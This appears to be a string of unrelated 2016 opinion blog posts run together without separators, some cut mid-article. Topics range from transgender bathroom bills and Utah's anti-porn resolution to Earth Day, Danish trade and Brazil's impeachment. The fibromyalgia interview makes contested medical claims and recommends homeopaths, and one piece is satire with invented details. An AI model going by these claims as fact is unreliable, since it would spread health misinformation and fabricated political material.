Let's talk about 9-year-old Malisa Phillips, the granddaughter of U.S. Congressman Mike Honda. Or 15-year-old reality star and trans activist Jazz Jennings. Or Coy Mathis, who as a first-grader was singled out and told she couldn't use the same bathroom as the other girls in her class.

As long as we're talking about protecting little girls, who is going to protect these little girls?

Because the fact of the matter is, there are transgender children.

I'll say it again: There are transgender children. And transgender children do not deserve to be legally forced to subject themselves to the harassment and abuse of using the wrong restroom -- or of having access to no restroom at all. Transgender children do not deserve the trauma of being told at age seven that they are so threatening to their friends and peers that they cannot pee in the same vicinity. Transgender children do not deserve to be demeaned and maligned by their own government.

Another trope among the right-wing supporters of bathroom bills is the idea of conflicting rights: "Your rights aren't more important than mine," they shout, and they argue that the government needs to mediate these situations in which the rights of two groups of people meet.

They're right. There are situations in which the rights of two people conflict, and the government has to weigh those rights against each other.

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Let's weigh them.

On one side, we have the right to move freely in public. We have the right not to be discriminated against on the basis of sex. We have the right to be protected from the very real and well-documented threat of violence.

One the other side, we have the right not to be around people who disgust you and the baseless fear that children will be abused.

If the government is supposed to be mediate between those two conflicting "rights," the appropriate response seems pretty clear.

If we want to protect children, we need to be investing in resources to prevent abuse by the people who are already spending time with them -- which is how 75 percent of child sexual abuse survivors are targeted. If we want to protect children, we should consider protecting them from Republican politicians.
Late last year, a Utah-based anti-pornography organization called Fight the New Drug started erecting billboards in the San Francisco area emblazoned with the slogan "PORN KILLS LOVE. FIGHT FOR LOVE." The group's stated mission is to "raise awareness on the harmful effects of pornography." It cites "science and facts [to show that] pornography has negative neurological effects, is damaging to relationships, and is impacting our society as a whole." And now, after months of lobbying by FTND and other anti-porn groups, Utah Gov. Gary Herbert has signed a resolution that declares pornography a "public health crisis." The legislation and FTND's philosophy are based on the premise that pornography is addictive.

The Daily Beast's Samantha Allen, who holds a Ph.D. in Sexuality Studies from Emory University, conducted a thorough investigation of the sources cited in Fight the New Drug's 2016 Reference Guide. In short, the science doesn't hold water. "Much of the literature is general information about dopamine and addiction stitched together into faulty syllogisms," says Allen. "Citations from peer-reviewed journals are mixed in with quotes from popular anti-porn tomes like Pornified and Big Porn Inc." Utah's S.C.R. 9, which State Sen. Todd Weiler (RSalt Lake) introduced earlier this year, is supported by many of the same questionable sources cited in FTND's guide.

Recent research has shown that the movement's central argument -- that porn is a drug -- is a dubious assessment. A 2015 study in the journal Biological Psychology, which studied the brain activity of self-described "porn addicts," found no correlation between its subjects and the addiction responses of habitual drug users. In fact, the subjects' responses were similar to control subjects who simply have strong libidos.

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Another 2015 study published in Psychology of Addictive Behaviors found that believing oneself to be addicted to pornography could be the real public health threat. "Perceived addiction to Internet pornography likely contributes to the experience of psychological distress for some individuals," the study's authors concluded. "Although concerns about links between pornography use and psychological distress may be warranted, these concerns would be better focused on individuals' attitudes toward their own use, rather than on the use itself."

In addition to quoting pseudoscientific studies, the Utah resolution uses moralistic language, referring to pornography as an "epidemic" that "shape[s] deviant sexual arousal" and "perpetuates a sexually toxic environment." This is perhaps not surprising, as many of the supporters of the law (including both Sen. Weiler and the leadership of FTND) are linked to either the Mormon Church -- the same religious organization that fought to pass California's anti-equality Proposition 8 in 2008 -- or Mormon-run Brigham Young University. Elder Jeffrey Holland of the Mormon-backed Utah Coalition Against Pornography, which lobbied for the bill, highlighted the moral argument at a recent conference sponsored by the group. "If this moral plague could catch our imagination the way a medical epidemic does," Holland said, "we would be calling out every available member of the health care industry."

When Sen. Weiler first introduced his "Concurrent Resolution on the Public Health Crisis" on January 29 -- which became law on March 29, although Gov. Herbert held a ceremonial signing on April 19 -- Martha Kempner of Rewire magazine published an article about the rise of the anti-pornography faction in Utah and its religious and moralistic underpinnings. The piece explains how pornography is not any more inherently addictive than, say, chocolate, which triggers the same brain-based reward response. And yet no one is attempting to moralize or prohibit chocolate.

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Nicole Prause, a professor at UCLA's Sexual Psychophysiology and Affective Neuroscience Laboratory, elaborates: "Scientists have demonstrated that porn activates reward processes in the brain. This is like cocaine. It is also like viewing chocolate, cheese, and puppies playing. But sex film viewing does not lead to loss of control, erectile dysfunction, enhanced cue (sex image) reactivity, or withdrawal. Missing any of these would mean sex films are not addicting."

The anti-porn movement may even be fueling the very epidemic it seeks to address, by causing porn viewers to feel guilty about their behavior. "Pornography isn't even harmful for the overwhelming majority of users," says David Ley, a clinical psychologist and author of the book The Myth of Sexual Addiction. "Fewer than 1% of porn users experience negative effects from their porn use. But 10% of people are afraid of their porn use. The message here is that porn isn't addictive -- but fear might be." Ley adds that saying porn is bad is a "sad example of very poor thinking and worse, an attempt to manipulate through fear."

S.C.R. 9 claims that "exposure to pornography often serves as childrens' and youths' sex education and shapes their sexual templates." In this respect, I agree with the resolution. Considering the dearth of comprehensive sex education in this country, not to mention an enduring stigma against having frank discussions about sex, I'm not at all surprised that many young adults turn to pornography as a guide to sexual relations. In tandem with a large number of my adult film industry colleagues, however, I see this as an opportunity, rather than a point of concern. Many of us promote safer sex practices in our films not just to protect ourselves and our fellow actors, but also to set a good example for others. Almost all studios are clear about their commitment to regular STD screening. And many performers actively engage in health education by voicing their support for safer sex on social media, speaking at conferences, or lobbying for safer sex practices within the industry. This outreach works. For example, I once enlightened a teen who originally thought that AIDS could be cured by taking a single pill. Porn stars' visibility, combined with a commitment to education, is a powerful tool for positive change, not the unilaterally destructive force condemned by the Utah law.

Pornography is not inherently addictive. In fact, new scientific evidence touts the benefits of pornography consumption, with one study even linking the availability of sexually explicit material to a lower incidence of sex-related crimes. The state of Utah and organizations like Fight the New Drug would be better served by helping people with actual addictions, instead of attempting to instill guilt and fear in an effort to promote their own moral agenda.
Odd Nerdrum

Artist Odd Nerdrum, who has been seeking a pardon from the Norwegian Justice Ministry in his tax evasion case, will not be attending the April 30th opening for his exhibition Crime and Refuge as he had planned to. According to Casey Gleghorn of the Booth Gallery, Nerdrum now faces imminent imprisonment. Nerdrum's appeal reportedly included a request to serve his sentence at home due to a chronic illness: Nerdrum suffers from Tourette's Syndrome. "His plea to serve at home," says the artist's son Bork, "has been rejected."

At the closing of his most recent public hearing, Nerdrum told the judge:

"I am now seventy years old... to end my days in prison without the chance to get anything done anymore. Not to work with what I should have been doing, but put me in prison because I was so damn honest with the customers..."

Crime and Refuge is Nerdrum's first U.S. exhibition since 2012 and will include sixteen paintings that have never been exhibited before in America.

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Odd Nerdrum, The Last Procedure, Oil on Canvas, 279.5 x 207 cm.

In Greek mirror script, "We of the university have the right to sentence you to death."

Odd Nerdrum, No Witness, Oil on Canvas, 334 x 204 cm
The logistics are tricky when planning a six-week trip to the Las Vegas area, 2,000 miles from our home.



What exact dates to go? Where to stay? How to get there? And even who to take?



(Catch up to speed with my first post on our Vegas jaunt here.)



Amy and I decided that with my supremely busy schedule - continuing to work my full-time job as a reporter and editor at Watchdog.org while also playing poker and interviewing people as I write the book - it was wise to try to recruit someone to stay with us and help with the kids. She asked her sister Angie, who graciously agreed to join the trip.



I decided that to best document the 2016 World Series of Poker I should try to be there for nearly the entire series, choosing to arrive on June 3 in time to play the Colossus, a low buy-in, massive-field event that will pay $1 million to the winner, and leave around July 13 as the Main Event is running. I say "around" because if we happen to stay beyond that date it means I'm in the $10,000 buy-in tournament and running well.



Not likely, but it never hurts to dream.



Fortunately, we were able to find a nice three-bedroom house in the Summerlin area west of the heart of Vegas. This community, started by Howard Hughes back in the day, is one of the nicer residential areas of the valley, with plenty of restaurants, shopping and family-friendly activities, some 20 minutes from the debauchery of the Strip.



Plus, the house has a pool in the backyard.



Given the nature of this once-in-a-lifetime family summer vacation we'd like to visit the Grand Canyon and Disneyland so we also allotted days for that.



That still allows me plenty to take my shot at quite a few tournaments throughout the summer. Anticipating beginning with the aforementioned $10,000 bankroll, I started building a tentative slate of events, erring more toward low buy-in tournaments at first. Despite my predilection for poker, I, perhaps ironically, have a fairly conservative financial nature and intend to start slow over the six weeks of the trip.



I want to give readers a taste of what's offered during the summer tournament season in Vegas, so I'm planning stops at not only the Rio, the home of the WSOP, but also Aria, Planet Hollywood, Wynn, Binion's, Golden Nugget and Venetian. These locations provide not only variety, but also the advantage of cheaper tournaments.
I was flipping through albums at a family reunion recently, and I found a beautiful image of an old baptism. This was the way of my family for generations, and though the world has changed immensely, what I love about that blend of faith is that it is held close and personal.

Baptism in the water is meant to outwardly mark a change in who you are. You are emptied of the old and washed clean again by your relationship with the Divine, and now the Divine resides in you.

And sometimes those sacred waters of baptism aren't reflected as a literal pool of water but a threshold in your life and your own experiences. A crossroads when you are out with the old and in with the new.

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I've had a spiritual awakening of my own in this past two years as I've submerged and then eventually risen again from under the weight of my divorce. My awakening didn't come in the shape one would expect or through the doors of a church. Instead, it has come to me through the immense power of my own humility as piece-by-piece my life was stripped away from its former state to emerge as something completely new. My own rebirth has come in the whispers of varied voices as I've read voraciously and clung to anything that stirred my soul.

We learn through each other, and I have no doubt that the Divine speaks to us through one another as well. In Christianity they call it The Holy Spirit. In other faiths, they call it by a different name, but it is the same idea. It's only through the heartbreak of the past few years of my life that seeing the Divine in all of us was made real and clear for me. Namaste in the truest sense.

When thinking about how I'm changing, who falls away from my life and who doesn't, who is bringing me alive and who isn't, I'm reminded of Pema Chodron's When Things Fall Apart. She has a chapter on the Buddhist concept of bodhichitta which is a Sanskrit word meaning a "noble or awakened heart" - or as she explains, "this kinship with the suffering of others, this inability to be able to observe it from afar" or "the discovery of our soft spot."

The world is full of people who cannot seem to find their soft spot. It's far easier to distance ourselves from pain, to make it shameful and tell someone to hide it or move on quickly than to hold bodhichitta for a moment and let that pain penetrate our own hearts. So many people want to be seen as perfect with the prosperity that they think defines them. To admit that you feel fear or hurt or embarrassment, to admit wrongdoing, and to feel in your core that there is suffering in the world and a battle within each of us - all of those things are uncomfortable. All of those things require accepting that you are not perfect and not always right. So few people are willing to step out of the skin they are wearing and own up to all of the ugly parts.

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Chodron explains,

"Because bodhichitta awakens tenderness, we can't use it to distance ourselves ... Spiritual awakening is frequently described as a journey to the top of a mountain. ... In the process of discovering bodhichitta, the journey goes down, not up. It's as if the mountain pointed toward the center of the earth, not the sky. Instead of transcending the suffering of all creatures, we move toward the turbulence and doubt... We explore the reality and unpredictability of insecurity and pain, and we try not to push it away."

The challenge is avoiding pushing it away, refusing the urge to hold it distant from us because it makes us uncomfortable.

The reason real empathy brings discomfort is that it turns a lens on our own selves. It shows you where you are gripping too tightly, and it brings about the horrifying thought that the pain could be yours as well and that you are not safe from it. When you rationalize the million reasons something could never happen to you, it's a way of trying so hard to convince yourself of a concept that is simply not true.

Aging brings its own spiritual rebirth as you finally stop tolerating what insults your soul. I can keep people on the peripheral of my life when they see things through a lens of very little compassion, but I can't maintain close connections with them anymore. Amy Poehler's book, Yes Please, includes a chapter on friendship in your forties, and she explains this changing landscape that happens when you begin to be true to yourself and tolerate nothing less.

"I am interested in people who swim in the deep end. I want to have conversations about real things with people who have experienced real things. I'm tired of talking about movies and gossiping about friends. Life is crunchy and complicated and all the more delicious."

Those who make my life crunchy and complicated and delicious are those who are awake to the concept of bodhichitta and can drop the ego for a moment and let some discomfort set in. Those who have encountered past pain or disappointment or mistakes and aren't afraid to talk about it. And as I form new friendships with people I am yet to meet and evaluate future romantic relationships, that is my biggest test: Are you awake to bodhichitta and all that entails?

Because here's what I'm finding. Bodhichitta does not mean that you are sad and full of sorrow all the time as you reflect on the miseries around you and feel empathy for others. In fact, it brings quite the opposite. It's only when you let in the sorrow of the world, when you sink into empathy, and when you embrace imperfection that you can find true joy. Happiness is something else entirely. And I'm growing tired of "happy" people who are not joyful. True joy cannot depend on outside circumstances at all, and that joy only comes when you let it all in.

********


Photo credit: Bill & Melinda Gates Foundation

Agriculture contributes significantly to environmental problems, yet is also critical to sustaining human life. As our population continues to grow, how can we do more with less? And with less environmental impact? In Africa and other developing regions, radio is an important part of the solution.

Earth Day is a time to reflect on the various ways that human beings are part of and interact with the environment. A time to commit to changing our ways, and living more lightly and harmoniously with our fellow earthlings. With the world's population quickly approaching 7.5 billion, it's important that we learn to do more with less, and to share.

Agriculture's growing environmental footprint

The practice of agriculture -- whether to produce food, beverages, fabric, fuel or medicine -- is high on the list of human activities with the greatest impact on the environment. It inevitably involves transforming natural environments in some way. Unwanted plants and animals are repelled or removed in favour of the ones we chose to raise. Trees are cut down, grasslands cleared, and wetlands drained in order to access agricultural land. We remove biomass that would otherwise recycle into and nourish the soil. The list goes on.

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Indeed, the agriculture sector is currently responsible for up to a third of all greenhouse gas (GHG) emissions: 17 percent directly and 7 to 14 percent through land use changes. Emissions from agriculture, forestry, and fisheries have risen steadily alongside the needs of a growing population, nearly doubling in the past 50 years.

Yet, agriculture is something that we must do. In fact, with the world's population expected to grow by another billion in the next 15 years, agriculture is more important than ever. For everyone to have a shot at the healthy, happy life they deserve, we'll need to do more farming -- only better. We cannot feed billions of people by hunting, scavenging, and harvesting wild plants. We don't have any choice but to grow more food, more efficiently, with a shrinking environmental impact. It's a tall order. So how do we fulfill it?

Promoting eco-friendly farming

A key challenge is to promote and support farming practices and inputs that have the least impact on the environment. These include crop rotation, intercropping, companion planting, drip irrigation, organic fertilizers, avoiding tillage, integrating trees, keeping areas beside rivers and streams wild, and using mulch to keep soils covered and return organic matter to the earth.

In Africa, where Farm Radio International works, small-scale and family farmers not only employ, but are also the source of, many of these innovations. Stewards of their local environments equipped with agricultural knowledge that has been refined over generations, they are committed to producing what they can today without depriving future generations of the opportunity to do the same. To this end, they need reliable and relevant information about eco-friendly and more productive farming practices. They also need a voice: a way to share their needs, experiences, ideas, and opinions more broadly to increase awareness of what farmers can and are doing to feed the planet.

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How radio can help

Even in 2016, radio is still the best and most cost-effective way to reach and serve small-scale farmers. In fact, newer technologies are making radio even more effective and efficient. With farmers gaining access to mobile phones, radio has become a two-way medium. Interactive radio programs like phone-in shows give farmers the opportunity to shape what they hear on the radio to meet their needs -- which is especially important when dealing with new and evolving environmental challenges, such as those related to climate change. They can also draw on the knowledge and experiences of their fellow farmers.

Its potential for sharing information about eco-friendly agriculture is only one reason to celebrate radio on Earth Day. Another, which is often overlooked, is that radio has an incredibly light footprint, especially since many radios are now powered by the sun or a hand crank.

Conventional agricultural extension programs involve a tremendous amount of driving. Extension workers travel by truck or motorbike and have to log tens of thousands of kilometres on bumpy roads if they are to serve the thousands of farmers spread throughout their catchment area. Radio can transport the voices and advice of extension workers right into the homes of farmers and also capture farmers' experiences so that extension services can do a better job of helping them to achieve their goals. Traveling over the airwaves, radio has a gossamer touch, spreading silently, without a puff out of a tailpipe, into every nook and cranny of the country.

And it works! Farm Radio International has conducted dozens of evaluations that prove that interactive radio programs about agriculture are often listened to by the majority of farmers and lead to measurable gains in knowledge, helping a sizable portion of families apply new, sustainable farming practices. This is no small feat. With everything resting on the productivity of their land, farmers are justifiably cautious when it comes to adopting new ways of doing things.

Earth Day 2016

An example of the power of radio that relates to the theme of this year's Earth Day, "Trees for the earth," is a project that Farm Radio International completed in Uganda in partnership with the International Union for the Conservation of Nature (IUCN). I invite you to read this recent video blog post to learn how radio reached nearly one million villagers and gave them the tools and knowledge to plant more than 300,000 trees.

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As you pause to consider reasons for optimism on this Earth Day, I hope you will join me in celebrating the small-scale farmers who work hard every day to provide for their families and communities and the interactive radio programs that help them to grow more and better food with minimal impact on the planet we all rely on and share.

Farm Radio International works with more than 600 radio partners across 39 African countries, reaching tens of millions of small-scale farmers and their families. Learn more about its life-changing work at www.farmradio.org.
Do you have muscle pain and fatigue? And you don't know what is causing it? There just may be a chance you have fibromyalgia.

Read my interview with Ruschelle Khanna, professional speaker, psychotherapist, author and expert in healing from chronic conditions and pain to learn more about this disease and whether you might be silently suffering from it. Ms. Khanna provides a unique perspective that assists individuals and families in using intense physical and emotional pain to their advantage. Through science-backed professional experience, relatable personal narrative and deep compassion, her clients transform their pain into valuable experiences far exceeding their expectations.

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1) Why is it so important to raise awareness around fibromyalgia now?

Fibromyalgia affects an estimated 50 million Americans and is the 2nd most common musculoskeletal symptom behind osteoarthritis. Due to the increased interest around finding root causes of illness, more and more people are asking "why fibromyalgia" rather than treating it as an incurable phenomenon.

I am interested in bringing awareness to fibromyalgia because increase in research relating this illness to viral and bacterial infections. One physician, Dr. William Pridgen of Innovative Med Concepts in Alabama, has had great results and is continuing to research healing of the herpes virus as it relates to fibromyalgia. Pridgen asserts that when we have experienced trauma, the body responds differently to common viral infections. It is also common to see a manifestation of an otherwise dormant herpes virus during times of stress. Lyme disease is another type of infection (bacterial) that, when untreated, can cause symptoms of fibromyalgia. I suffered from a debilitating bout of Lyme disease in 2014. At that time I found myself in numerous physician's offices being told there was nothing wrong with me. I have spoken with many women and men that have fibromyalgia and experience the same reaction from conventional medicine. It is time to bring awareness to the root cause of fibromyalgia and focus on the cure.

My latest project has been the development of the Online Fibromyalgia Summit launching May 12, Fibromyalgia Awareness Day. Aside from systemic infections, a common theme throughout the interviews I conducted with experts was the connection to trauma. Most all those I interviewed stated that patients expressed some form of trauma whether it was physical or emotional. They all agreed that the resolution of trauma, whether it be through some form of healing bodywork such as cranio-sacral therapy or emotional healing such as psychotherapy, was critical to healing the symptoms of fibromyalgia.

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2) What are the most common symptoms?

Common symptoms of fibromyalgia vary from person to person. Like Lyme, because this is a full body, systemic problem, the individual weak spots of a person are what are impacted first. However, there are some common symptoms including fatigue, brain fog, severe muscle aches, insomnia, intestinal issues to name a few. Insomnia is one of the best places to start because lack of sleep causes a decrease in our ability to manage physical pain and daily stress. If someone is suffering with insomnia, they want to find a practitioner that can assist them in getting restful sleep right away. Another symptom to address early on is continued digestive and intestinal issues. A competent Naturopath, Functional Physician Homeopath or other preventive practitioner would be a great fit for finding answers to chronic digestive issues.

3) What is the best way to address fibromyalgia?

Fibromyalgia should be addressed as a systemic issue, making small changes throughout the day and over a life span. Healing fibromyalgia is a lifestyle change that takes commitment. There is no pill to heal fibromyalgia. My focus is in assisting individuals in regaining the energy required to heal. Many of us want to feel better, we just don't have the energy to put into action the overflow of healing information that is available to us through the internet. I work with clients through a program called Energy Pacing which allows clients to regain energy, be more efficient and have time for pleasure throughout the day.
"Contribute to growth and job creation in Denmark". That's how the first sentence begin in the performance contract I signed before going to Washington as Denmark's new ambassador to the United States. The days of ambassadors striking diplomatic deals in dark corners of a smoke filled room are long gone. At our embassy, assisting Danish and American companies to do business is a cornerstone in our daily work - alongside the high politics of foreign relations and national security.

Is it a big challenge for a small country of only 5.7 million inhabitants to have a substantial commercial footprint in the U.S.?

Yes and no.

Yes, because we have to work hard to show and to convince partners that Danish companies have the right products to sell at competitive prices. We have to remind stakeholders, that investments in Denmark make sense. I am very proud that Forbes just a few months ago announced that Denmark is the best country in the world to do business in.

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In reality, I am in a very fortunate position. Denmark is a small country. Yet, the Danish economy and its private sector are geared towards markets abroad - in particular the United States. The U.S. is Denmark's largest trading partner outside the European Union. The third largest globally just after our two neighbors Germany and Sweden. And closing in. Danish exports of goods to the United States were almost 8 billion USD in 2015. That is an impressive increase of almost 28 percent compared to 2014. This is good news for Denmark.

And it is good news for the U.S.

As a testimony to the growing trade relations, the embassy has, in cooperation with the Confederation of Danish Industries, published a brochure about the commercial ties between Denmark and the U.S. This publication examines the contribution Danish companies' make to the U.S. economy in terms of trade and job creation. Furthermore, it highlights key sectors where Danish companies are global leaders and where opportunities should be explored for the mutual benefit of our economies.

This is a great story to tell.

Danish companies have already invested heavily in the U.S. - they have established more than 650 subsidiaries and offices here. And they are responsible for the creation of more than 60,000 jobs in America.

Still, the potential is even greater.



A few weeks ago Denmark's Prime Minister, Lars Lkke Rasmussen, launched a new "growth plan" with 24 export, investment and innovation initiatives. The ambition is to increase Danish exports to and investments in the U.S. as well as American investments in Denmark.

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In 2016, Denmark will launch a number of new export promotion activities in areas like energy and environment, life sciences, and food and agriculture. Furthermore, we will continue our work within the defense industry, design and the maritime sector.

Where can we make a difference? Let me give you a couple of examples:

Offshore wind energy off the Atlantic coast - here I see a perfect match of American potential and ambition and Danish knowhow and solutions. World leading Danish wind energy providers - like DONG Energy - are ready to contribute to the development of offshore wind on the Atlantic coastline. The conditions there are even better than in Denmark were wind-power in 2015 generated a staggering 42% of our electricity production.

Water management in California - severe drought haunts California. You can come a long way in solving this challenge through a more effective water management system. We have developed very efficient systems in Denmark. I accompanied Minister for Higher Education and Science Ulla Trns to San Francisco a couple of weeks ago when she inaugurated the "Water Technology Alliance". This is a public-private partnership, where a number of Danish companies in the water sector are making their expertise on water available to their American colleagues. This California-based alliance serves as the foundation for a close partnership between Danish and American companies, public bodies, and education and science institutions in the water sector.

Of course, it is a two way street.

Denmark certainly also has a lot to learn from the U.S. The unique combination of networks, world leading academic institutions, capital and businesses in Silicon Valley, for example, is a huge inspiration to both Danish start-ups and established companies.

In California I witnessed first-hand the innovative spirit of Silicon Valley. I had the pleasure of congratulating CEO of LEGO, Jrgen Vig Knudstorp when he was awarded the 'Danish American Frontier Award 2016' for his leadership and entrepreneurship at the helm of one of Denmark's largest companies. LEGO is in many ways the embodiment of constant innovation.

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We are determined to strengthen our cooperation on innovation with U.S. partners through the Danish innovation center in Silicon Valley. We need to do more in order to connect Danish entrepreneurs with Silicon Valley's ecosystem.

Many more - and just as good examples - could be highlighted. Trade and investment in pharmaceutical products and advanced welfare systems will be needed when our two countries are confronted with the challenges of lifestyle diseases and an aging population. Consumers demand quality food- and agricultural products, areas where Denmark has a longstanding tradition. As a world leading maritime nation, Denmark has a lot to offer within shipping and maritime investments. More can be done within the defense sector, building on years of cooperation. And the demand for Danish design, furniture, clothing and other consumer products, is expected to grow even more in the U.S.

So could we wish for more? The answer is always yes.

There is still a significant untapped potential in transatlantic trade. According to studies, the economic boost from an ambitious transatlantic free trade agreement - TTIP - would be experienced widely not just among EU member states but equally on this side of the Atlantic with opening of European markets for American exports. More exports create growth, support jobs and increase income. At a time where global competition is fierce and economic growth is sluggish, this is an opportunity we cannot afford to miss.
In the late 1960s, scientists were just beginning to coalesce around a theory of global warming, but other threats to the environment and public health were apparent. Rachel Carson's Silent Spring had exposed widespread harm from pesticides. Los Angelinos were breathing some of the dirtiest air in the world. An oil spill devastated the coast of Santa Barbara--the largest spill in the U.S. at the time. Ohio's Cuyahoga River caught fire, capturing the pages of TIME magazine and the concern of Americans across the country.

In the wake of these catastrophes, the first Earth Day was born in 1970 -- spawning the modern environmental movement, bringing political leaders of all stripes together, and leading to the passage of the Clean Water Act, the Clean Air Act, and other bedrock environmental laws.

Forty-six years later, the threat of climate change is clear, and the basic science behind it quite well-established: global warming is happening, it's human-caused, and it will only get worse unless we act.

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So this Earth Day, more than 150 nations will sign the agreement reached in Paris to meet head on the threat of climate change. The accord aspires to keep warming to no more than 1.5 degrees Celsius over pre-industrial levels, the benchmark scientists say is critical to avoiding severe climate impacts that could render much of the world uninhabitable.

To meet this goal, experts say we must transition to 100 percent clean, renewable energy by mid-century, and leave the vast majority of our fossil fuels in the ground. That's why today we're celebrating "Keep It in the Earth Day."

When it comes to keeping fossil fuels in the ground, the best place to start in the U.S. is with our public lands and oceans.

Already, drilling and mining from fossil fuel leases on public lands and waters contribute significantly to global warming pollution. From 2003 to 2014, fossil fuel combustion from federal public land and water leases produced about a quarter of U.S. greenhouse gas pollution. Existing leases contain the potential for up to 43 billion tons of carbon emissions.

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If all the remaining oil, gas, tar sands, and coal available beneath U.S. public lands and oceans were leased and burned, an additional 450 billion tons of carbon pollution would be added to the atmosphere -- the equivalent of 13 times our global carbon emissions in 2013.

A broad array of organizations and politicians are joining together to end new fossil fuel leases on our lands and waters. Last September, more than 400 organizations called on President Obama to do so. Senator Jeff Merkley (Ore.) and Congressman Jared Huffman (Calif.) have both introduced legislation to end new federal fossil fuel leases and cancel non-producing federal fossil fuel leases.

Of course, the likelihood of Congress acting soon is slim. But, as explained by our allies at the Center for Biological Diversity, Congress has already vested the president with broad authority to control new federal fossil fuel leasing. And this president, who's already staked part of his legacy on his actions to curb global warming, just might use that authority.

After all, when President Obama rejected the Keystone XL pipeline, he acknowledged that "we must keep some fossil fuels in the ground." Later, his administration placed a moratorium on new coal leases on public lands. Under pressure from politicians and businesses up and down the East Coast, he dropped proposals for drilling in the Atlantic Ocean. And since November 2015, at least partially in response to protests, the administration has postponed or canceled lease seals from Utah to Montana to New Orleans.
The day after the impeachment vote in the lower house of Brazil's congress, one of the leaders of the effort, Senator Aloysio Nunes, traveled to Washington, D.C. He had scheduled meetings with a number of U.S. officials, including Thomas Shannon at the State Department.

Shannon has a relatively low profile in the media, but he is the number three official in the U.S. State Department. Even more significantly in this case, he is the most influential person in the State Department on U.S. policy in Latin America. He will be the one recommending to Secretary of State John Kerry what the U.S. should do as the ongoing efforts to remove President Dilma Rousseff proceed.

Shannon's willingness to meet with Nunes just days after the impeachment vote sends a powerful signal that Washington is on board with the opposition in this venture. How do we know this? Very simply, Shannon did not have to have this meeting. If he wanted to show that Washington was neutral in this fierce and deeply polarizing political conflict, he would not have a meeting with high-profile protagonists on either side, especially at this particular moment.

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Shannon's meeting with Nunes is an example of what could be called "dog-whistle diplomacy." It barely shows up on the radar of the media reporting on the conflict, and therefore is unlikely to generate backlash. But all the major actors know exactly what it means. That is why Nunes' party, the Social Democracy Party (PSDB), publicized the meeting.

To illustrate with another example of dog-whistle diplomacy: On June 28, 2009, the Honduran military kidnapped the country's president, Mel Zelaya, and flew him out of the country. The White House statement in response did not condemn this coup, but rather called on "all political and social actors in Honduras" to respect democracy.

This dog-whistle signal worked perfectly; most importantly the coup leaders and their supporters in Honduras, as well as every diplomat in Washington, knew exactly what this meant, even as statements condemning the coup and demanding the restoration of the democratic government came pouring in from around the globe. Everyone knew that this was, in diplomatic code, a clear statement of support for the coup. The events that followed over the next six months, with Washington doing everything it could to help consolidate and legitimize the coup government, were pretty much predictable from this initial statement. Hillary Clinton later admitted in her 2014 book, "Hard Choices," that she worked successfully to prevent the return of the democratically elected president.

Tom Shannon has a reputation among Latin American diplomats as an amiable fellow, a seasoned career foreign service officer who is willing to sit down and talk with governments that are at odds with U.S. policy in the region. But he has had a lot of experience with coups. Some of Hillary Clinton's released emails shed additional light on his role in helping to consolidate the Honduran coup. He was also a high-level State Department official during the April 2002 coup in Venezuela, in which there is substantial documentary evidence of U.S. involvement. And when the parliamentary coup in Paraguay took place in 2012 -- something similar to what is happening in Brazil but with a process that impeached and removed the president in just 24 hours -- Washington also contributed to the legitimation of the coup government in the aftermath. (By contrast, South American governments suspended the coup government in Paraguay from MERCOSUR, the regional trading bloc, and UNASUR [the Union of South American Nations).] Shannon was ambassador to Brazil at that time, but was still one of the most influential officials in hemispheric policy.

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The U.S. State Department responded to questions about Nunes' meetings by saying, "This meeting had been planned for months and was arranged at the request of the Brazilian embassy." But this is irrelevant. It merely means that Brazilian embassy staff were, as a matter of diplomatic protocol, involved in arranging the meetings. This does not imply any consent by the Rousseff administration, nor change the political message that the meeting with Shannon sends to the opposition in Brazil.
CHARLOTTE NC (Goodyear Satire Company)--

Donald Trump shocked the world today by appearing reasonable on a matter of public import. This unusual new strategy was introduced when he came out in favor of letting transgender individuals choose for themselves which bathroom to use. By doing so,Trump staked out a sensible position unknown to any other Republican, and closest in tone to Social Democrat Bernie Sanders.

A newly-enacted North Carolina bathroom law permits the state to mandate which public bathroom one must use based on the 23rd pair of their chromosomes, rather than leaving the decision up to fully-formed individuals created in God's image to decide for themselves.

"North Carolina did something that was very strong, and they're paying a big price, and there's a lot of problems," Trump mumbled at a Today show town hall as he demonstrated human-like logic albeit with a sixth grade vocabulary. "Leave it the way it is; there have been very few complaints the way it is," Trump reduntantly said redundantly. Indeed, many of the bathroom scandals in the news of late revolve around the unseemly sex acts of republican politicians.

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Trump's position would appear to appeal to a good portion of the 30% of Bernie Sanders voters who have vowed not to support Hillary Clinton if she is the Democrat nominee. Those voters could make up for the loss of any support among Republicans over the issue. Trump voters, in particular, have shown a disdain for the politically correct positions of the T-Rexpublicans.

Pollsters have identified a group of Sanders supporters who would consider backing Trump and an even larger group of Clinton supporters who would consider voting for Trump. An NBC News/Wall Street Journal survey conducted by Hart Research Associates last month found 7% of Sanders voters would consider backing Trump over Clinton, as would 66% of Clinton voters who would consider supporting Trump over Sanders.

Trump, apparently advocating personal choice for the first time in this millennium, said "People go, they use the bathroom that they feel is appropriate."

Trump's staking out this position also lends credence to conservatives' claims that Trump is "really not a conservative." Predictably, Ted Cruz, a strong supporter of the North Carolina law, disagreed with Trump, troglodytesplaining in a tweet, "We shouldn't be facilitating putting little girls alone in a bathroom w/ grown men. That's just a bad, bad, bad idea[.]"

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That said, mothers and fathers seldom let little girls (or little boys, for that matter) go to adult bathrooms alone unless their names are Duggar. Cruz' position is further disputed by LGBT advocates, who point to Department of Justice studies showing that a majority of rapes are committed by someone who is already known to a victim, not a total stranger.

Trump's practical economic side was on display as he considered the costs to North Carolina, which has been shunned by corporate America and show business personalities alike. "And the problem with what happened in North Carolina is the strife and economic punishment that they're taking," said Trump, who also opposes gender neutral bathrooms, claiming they are too expensive.

The civil rights battles of the 1960s were largely fought over race and the rights of minorities; the civil rights battles of the 1970s-1990s were largely fought over gender and women's rights, and the civil rights battles of the 2000s and 2010s are being fought over the LGBT community. Donald Trump appears to appreciate this fact, while the rest of the Republican party does not.

But it's all the same battle, and the issues are and have always been freedom and personal choice. Do we want a government run by control freaks or one that allows people to run their lives, free of government interference? This election will help us decide.
There has been an uproar over Target's decision to allow people to use the bathroom of their affirmed gender. In a time when "bathroom bills" are popping up all over the United States we're hearing the same concern raised over and over again. The concern being that bathroom bills put the safety of women and girls at risk of cisgender men putting on a dress and coming into the bathroom to assault them.

